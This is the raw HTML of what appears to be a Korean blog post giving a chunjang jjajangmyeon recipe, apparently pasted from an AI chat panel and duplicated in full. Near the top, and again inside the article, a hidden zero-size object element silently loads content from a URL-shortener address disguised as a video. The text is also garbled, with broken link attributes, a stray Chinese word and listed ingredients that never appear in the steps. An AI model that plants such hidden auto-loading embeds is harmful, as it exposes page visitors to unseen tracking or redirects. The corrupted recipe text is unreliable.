<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:27">춘장짜장 짜장면 맛있게 만드는 비법 대공개!</h2><p data-sourcepos="3:1-3:44"><strong>진짜 집에서 만든 짜장면</strong>보다 더 맛있는 춘장짜장 짜장면을 만들어보세요!</p><p data-sourcepos="5:1-5:9"><strong>핵심 재료</strong></p><ul data-sourcepos="7:1-23:0">
<li data-sourcepos="7:1-7:10">춘장: 150g</li>
<li data-sourcepos="8:1-8:12">돼지고기: 200g</li>
<li data-sourcepos="9:1-9:8">양파: 1개</li>
<li data-sourcepos="10:1-10:10">당근: 1/2개</li>
<li data-sourcepos="11:1-11:10">호박: 1/2개</li>
<li data-sourcepos="12:1-12:8">감자: 1개</li>
<li data-sourcepos="13:1-13:8">대파: 1대</li>
<li data-sourcepos="14:1-14:10">중화면: 4묶음</li>
<li data-sourcepos="15:1-15:10">물: 800ml</li>
<li data-sourcepos="16:1-16:9">설탕: 2큰술</li>
<li data-sourcepos="17:1-17:9">미원: 1큰술</li>
<li data-sourcepos="18:1-18:21">고춧가루: 1/2작은술 (선택사항)</li>
<li data-sourcepos="19:1-19:11">다진마늘: 1큰술</li>
<li data-sourcepos="20:1-20:14">다진생강: 1/2작은술</li>
<li data-sourcepos="21:1-21:10">식용유: 4큰술</li>
<li data-sourcepos="22:1-23:0">전분: 2큰술</li>
</ul><p data-sourcepos="24:1-24:7"><strong>레시피</strong></p><ol data-sourcepos="26:1-36:0">
<li data-sourcepos="26:1-28:0">
<p data-sourcepos="26:4-27:16"><strong>춘장 볶기:</strong> 팬에 식용유 2큰술을 두르고 약불에서 춘장을 15분 정도 볶아줍니다. 춘장이 타지 않도록 주의하며, 향과 깊은 맛이 나도록 천천히 볶아주세요. 볶은 춘장은 기름을 제거하고 따로 둡니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///freshkwak/221981849288"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="춘장 볶기 " src="https://lh3.googleusercontent.com/bip/ACo7QZ7jBE0UVAcYzbVox2eOyZ6FQbgzQZSXrAxdhojeLd5KLHWCq4S6shWnec4qX_OGScKTMr0DcivTzf0wutenXShtLc2-kJ3D9gLtcDCbEyCrqBWVKcWXVmWVUZfiW-6r2yKGnG1CNn6uHZJ1w4xTmBfWNfYHvYnWzSYdhgvZaqPHl8Y-XOXqZ9dk1Gq9wVSicL_8GxmVCfWdQNW2DH7LZ3w5Pc80mnAcLbC7R-7Xcw3rdjLLVWXTdL5x_1OY-CPV-h2cWu4rmvuwCaz0JWgIpYb4V0oakTSZ-tA_kW6vNvar6-PB3h9_1DOpbZSPjHYFEPDuSK4=w250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s:///freshkwak/221981849288" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 춘장 볶기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
<li data-sourcepos="29:1-31:0">
<p data-sourcepos="29:4-30:13"><strong>밑간:</strong> 팬에 남은 기름 2큰술을 두르고 다진 마늘과 생강을 넣고 볶다가 돼지고기를 넣고 볶아줍니다. 돼지고기가 익으면 양파, 당근, 호박, 감자를 넣고 볶아줍니다. 채소가 익으면 볶아둔 춘장, 물 800ml, 설탕 2큰술, 미원 1큰술, 고춧가루 1/2작은술 (선택사항)을 넣고 끓입니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6886564"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="밑간 " src="https://lh3.googleusercontent.com/bip/ACo7QZ62Ct8m-r0wgxgEgL1eSTjjx6-s1taFALKbO0-zALAAvbeuPN6Id30rPsYtcQ_i5dzz1b7QwlMZx8OyMCIZ2fMwVCVNSmqMlwGAGP8zOLm1a07Wo5DTgQSKk4uc9CNBFWE19F3vtV0-jDA3mdmhxnDWS1jtNwx8IKlw94DEmmJg=w250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6886564" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 밑간 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
<li data-sourcepos="32:1-33:0">
<p data-sourcepos="32:4-32:64"><strong>면 삶기:</strong> 끓는 물에 중화면을 넣고 4분 정도 삶아줍니다. 면이 익으면 찬물에 헹궈 물기를 제거합니다.</p>
</li>
<li data-sourcepos="34:1-36:0">
<p data-sourcepos="34:4-35:22"><strong>완성:</strong> 면 위에 밑간을 넉넉히 浇头하고, 오이, 파 등을 토핑하여 완성합니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7008485"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="춘장짜장 짜장면 완성 " src="https://lh3.googleusercontent.com/bip/ACo7QZ4rH7t0wUmAQ69ze5in8wdZ95b9DWs3x9ihBYpf6kpuSlxX-UXxjwI1dD6kecisPYE0PtQ6hJiOm5ajt6LJWylRvjQaP6Due7asfYNr6WCBNj6T1QxoFqKw9yViuqSxmtqxTopJtZPF_FdlNkV-ciJUtvXebBTEGFSZkzgT9Tk=w250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7008485" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_9aa81eb0113071fd&quot;,&quot;c_b6e6b9109aed751d&quot;,null,&quot;rc_bfb884e00c26fc7b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 춘장짜장 짜장면 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
</ol><p data-sourcepos="37:1-37:5"><strong>팁</strong></p><ul data-sourcepos="39:1-44:0">
<li data-sourcepos="39:1-39:33">춘장을 더 오래 볶으면 깊은 맛과 향이 더욱 살아납니다.</li>
<li data-sourcepos="40:1-40:38">취향에 따라 다진 고기 대신 소고기나 닭고기를 사용해도 좋습니다.</li>
<li data-sourcepos="41:1-41:32">채소는 취향에 따라 양이나 종류를 조절할 수 있습니다.</li>
<li data-sourcepos="42:1-42:33">면을 삶을 때 소금을 조금 넣으면 면이 더 쫄깃해집니다.</li>
<li data-sourcepos="43:1-44:0">마지막에 참기름을 한 방울 떨어뜨리면 향이 더욱 살아납니다.</li>
</ul><p data-sourcepos="45:1-45:6"><strong>후기</strong></p><p data-sourcepos="47:1-47:132">이렇게 만든 춘장짜장 짜장면은 집에서 만든 짜장면보다 훨씬 더 맛있고 깊은 맛이 느껴집니다. 춘장을 직접 볶아 사용하기 때문에 향긋하고 풍부한 맛을 즐길 수 있습니다. 또한, 다양한 채소를 사용하여 영양도 풍부하게 섭취할 수 있습니다.</p><p data-sourcepos="49:1-49:7"><strong>주의:</strong></p><ul data-sourcepos="51:1-54:0">
<li data-sourcepos="51:1-51:28">춘장을 볶을 때는 타지 않도록 주의해야 합니다.</li>
<li data-sourcepos="52:1-52:37">면을 삶을 때는 소금을 너무 많이 넣지 않도록 주의해야 합니다.</li>
<li data-sourcepos="53:1-54:0">뜨거운 면에 주의하세요.</li>
</ul><p data-sourcepos="55:1-55:33"><strong>이 레시피로 맛있는 춘장짜장 짜장면을 만들어 드세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:27">춘장짜장 짜장면 맛있게 만드는 비법 대공개!</h2><p data-sourcepos="3:1-3:44"><strong>진짜 집에서 만든 짜장면</strong>보다 더 맛있는 춘장짜장 짜장면을 만들어보세요!</p><p data-sourcepos="5:1-5:9"><strong>핵심 재료</strong></p><ul data-sourcepos="7:1-23:0">
<li data-sourcepos="7:1-7:10">춘장: 150g</li>
<li data-sourcepos="8:1-8:12">돼지고기: 200g</li>
<li data-sourcepos="9:1-9:8">양파: 1개</li>
<li data-sourcepos="10:1-10:10">당근: 1/2개</li>
<li data-sourcepos="11:1-11:10">호박: 1/2개</li>
<li data-sourcepos="12:1-12:8">감자: 1개</li>
<li data-sourcepos="13:1-13:8">대파: 1대</li>
<li data-sourcepos="14:1-14:10">중화면: 4묶음</li>
<li data-sourcepos="15:1-15:10">물: 800ml</li>
<li data-sourcepos="16:1-16:9">설탕: 2큰술</li>
<li data-sourcepos="17:1-17:9">미원: 1큰술</li>
<li data-sourcepos="18:1-18:21">고춧가루: 1/2작은술 (선택사항)</li>
<li data-sourcepos="19:1-19:11">다진마늘: 1큰술</li>
<li data-sourcepos="20:1-20:14">다진생강: 1/2작은술</li>
<li data-sourcepos="21:1-21:10">식용유: 4큰술</li>
<li data-sourcepos="22:1-23:0">전분: 2큰술</li>
</ul><p data-sourcepos="24:1-24:7"><strong>레시피</strong></p><ol data-sourcepos="26:1-36:0">
<li data-sourcepos="26:1-28:0">
<p data-sourcepos="26:4-27:16"><strong>춘장 볶기:</strong> 팬에 식용유 2큰술을 두르고 약불에서 춘장을 15분 정도 볶아줍니다. 춘장이 타지 않도록 주의하며, 향과 깊은 맛이 나도록 천천히 볶아주세요. 볶은 춘장은 기름을 제거하고 따로 둡니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///freshkwak/221981849288"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="춘장 볶기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ7jBE0UVAcYzbVox2eOyZ6FQbgzQZSXrAxdhojeLd5KLHWCq4S6shWnec4qX_OGScKTMr0DcivTzf0wutenXShtLc2-kJ3D9gLtcDCbEyCrqBWVKcWXVmWVUZfiW-6r2yKGnG1CNn6uHZJ1w4xTmBfWNfYHvYnWzSYdhgvZaqPHl8Y-XOXqZ9dk1Gq9wVSicL_8GxmVCfWdQNW2DH7LZ3w5Pc80mnAcLbC7R-7Xcw3rdjLLVWXTdL5x_1OY-CPV-h2cWu4rmvuwCaz0JWgIpYb4V0oakTSZ-tA_kW6vNvar6-PB3h9_1DOpbZSPjHYFEPDuSK4%3Dw250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s:///freshkwak/221981849288" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 춘장 볶기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
<li data-sourcepos="29:1-31:0">
<p data-sourcepos="29:4-30:13"><strong>밑간:</strong> 팬에 남은 기름 2큰술을 두르고 다진 마늘과 생강을 넣고 볶다가 돼지고기를 넣고 볶아줍니다. 돼지고기가 익으면 양파, 당근, 호박, 감자를 넣고 볶아줍니다. 채소가 익으면 볶아둔 춘장, 물 800ml, 설탕 2큰술, 미원 1큰술, 고춧가루 1/2작은술 (선택사항)을 넣고 끓입니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6886564"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="밑간 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ62Ct8m-r0wgxgEgL1eSTjjx6-s1taFALKbO0-zALAAvbeuPN6Id30rPsYtcQ_i5dzz1b7QwlMZx8OyMCIZ2fMwVCVNSmqMlwGAGP8zOLm1a07Wo5DTgQSKk4uc9CNBFWE19F3vtV0-jDA3mdmhxnDWS1jtNwx8IKlw94DEmmJg%3Dw250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6886564" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 밑간 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
<li data-sourcepos="32:1-33:0">
<p data-sourcepos="32:4-32:64"><strong>면 삶기:</strong> 끓는 물에 중화면을 넣고 4분 정도 삶아줍니다. 면이 익으면 찬물에 헹궈 물기를 제거합니다.</p>
</li>
<li data-sourcepos="34:1-36:0">
<p data-sourcepos="34:4-35:22"><strong>완성:</strong> 면 위에 밑간을 넉넉히 浇头하고, 오이, 파 등을 토핑하여 완성합니다.<div class="attachment-container search-images"><single-image _nghost-ng-c3917634013="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c3917634013="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3917634013="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3917634013="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2972167403="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7008485"><span _ngcontent-ng-c2972167403="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3917634013="" class="image loaded" alt="춘장짜장 짜장면 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ4rH7t0wUmAQ69ze5in8wdZ95b9DWs3x9ihBYpf6kpuSlxX-UXxjwI1dD6kecisPYE0PtQ6hJiOm5ajt6LJWylRvjQaP6Due7asfYNr6WCBNj6T1QxoFqKw9yViuqSxmtqxTopJtZPF_FdlNkV-ciJUtvXebBTEGFSZkzgT9Tk%3Dw250-h200-p"></span><span _ngcontent-ng-c2972167403="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3917634013="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7008485" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_9aa81eb0113071fd","c_b6e6b9109aed751d",null,"rc_bfb884e00c26fc7b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3917634013="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3917634013="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3917634013="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 춘장짜장 짜장면 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></p>
</li>
</ol><p data-sourcepos="37:1-37:5"><strong>팁</strong></p><ul data-sourcepos="39:1-44:0">
<li data-sourcepos="39:1-39:33">춘장을 더 오래 볶으면 깊은 맛과 향이 더욱 살아납니다.</li>
<li data-sourcepos="40:1-40:38">취향에 따라 다진 고기 대신 소고기나 닭고기를 사용해도 좋습니다.</li>
<li data-sourcepos="41:1-41:32">채소는 취향에 따라 양이나 종류를 조절할 수 있습니다.</li>
<li data-sourcepos="42:1-42:33">면을 삶을 때 소금을 조금 넣으면 면이 더 쫄깃해집니다.</li>
<li data-sourcepos="43:1-44:0">마지막에 참기름을 한 방울 떨어뜨리면 향이 더욱 살아납니다.</li>
</ul><p data-sourcepos="45:1-45:6"><strong>후기</strong></p><p data-sourcepos="47:1-47:132">이렇게 만든 춘장짜장 짜장면은 집에서 만든 짜장면보다 훨씬 더 맛있고 깊은 맛이 느껴집니다. 춘장을 직접 볶아 사용하기 때문에 향긋하고 풍부한 맛을 즐길 수 있습니다. 또한, 다양한 채소를 사용하여 영양도 풍부하게 섭취할 수 있습니다.</p><p data-sourcepos="49:1-49:7"><strong>주의:</strong></p><ul data-sourcepos="51:1-54:0">
<li data-sourcepos="51:1-51:28">춘장을 볶을 때는 타지 않도록 주의해야 합니다.</li>
<li data-sourcepos="52:1-52:37">면을 삶을 때는 소금을 너무 많이 넣지 않도록 주의해야 합니다.</li>
<li data-sourcepos="53:1-54:0">뜨거운 면에 주의하세요.</li>
</ul><p data-sourcepos="55:1-55:33"><strong>이 레시피로 맛있는 춘장짜장 짜장면을 만들어 드세요!</strong></p></div>
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